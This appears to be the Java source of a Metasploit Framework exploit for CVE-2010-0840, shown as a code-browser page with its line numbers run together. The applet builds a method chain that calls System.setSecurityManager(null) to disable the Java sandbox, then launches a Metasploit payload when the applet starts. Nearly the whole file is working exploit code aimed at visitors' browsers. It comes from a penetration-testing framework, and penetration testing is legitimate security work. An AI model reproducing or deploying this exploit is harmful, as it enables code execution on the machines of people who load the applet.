Path: blob/master/external/source/exploits/CVE-2010-0840/vuln/Exploit.java
24822 views
package vuln;12import java.applet.Applet;3import java.io.IOException;4import java.util.HashMap;5import java.util.HashSet;6import java.util.Map;7import java.util.Set;89import javax.swing.JList;1011import metasploit.Payload;1213public class Exploit extends Applet {1415public void start() {16super.start();1718try {19Payload.main(null);20} catch (Exception e) {}21}2223public Exploit() {24System.out.println("Exploiting");25Object target = System.class;26String methodName = "setSecurityManager";27Object[] args = new Object[] { null };2829Link l = new vuln.Link(target, methodName, args);3031final HashSet s = new HashSet();32s.add(l);3334Map h = new HashMap() {3536public Set entrySet() {37return s;38};3940};4142JList list = new JList(new Object[] { h });43this.add(list);4445}46}474849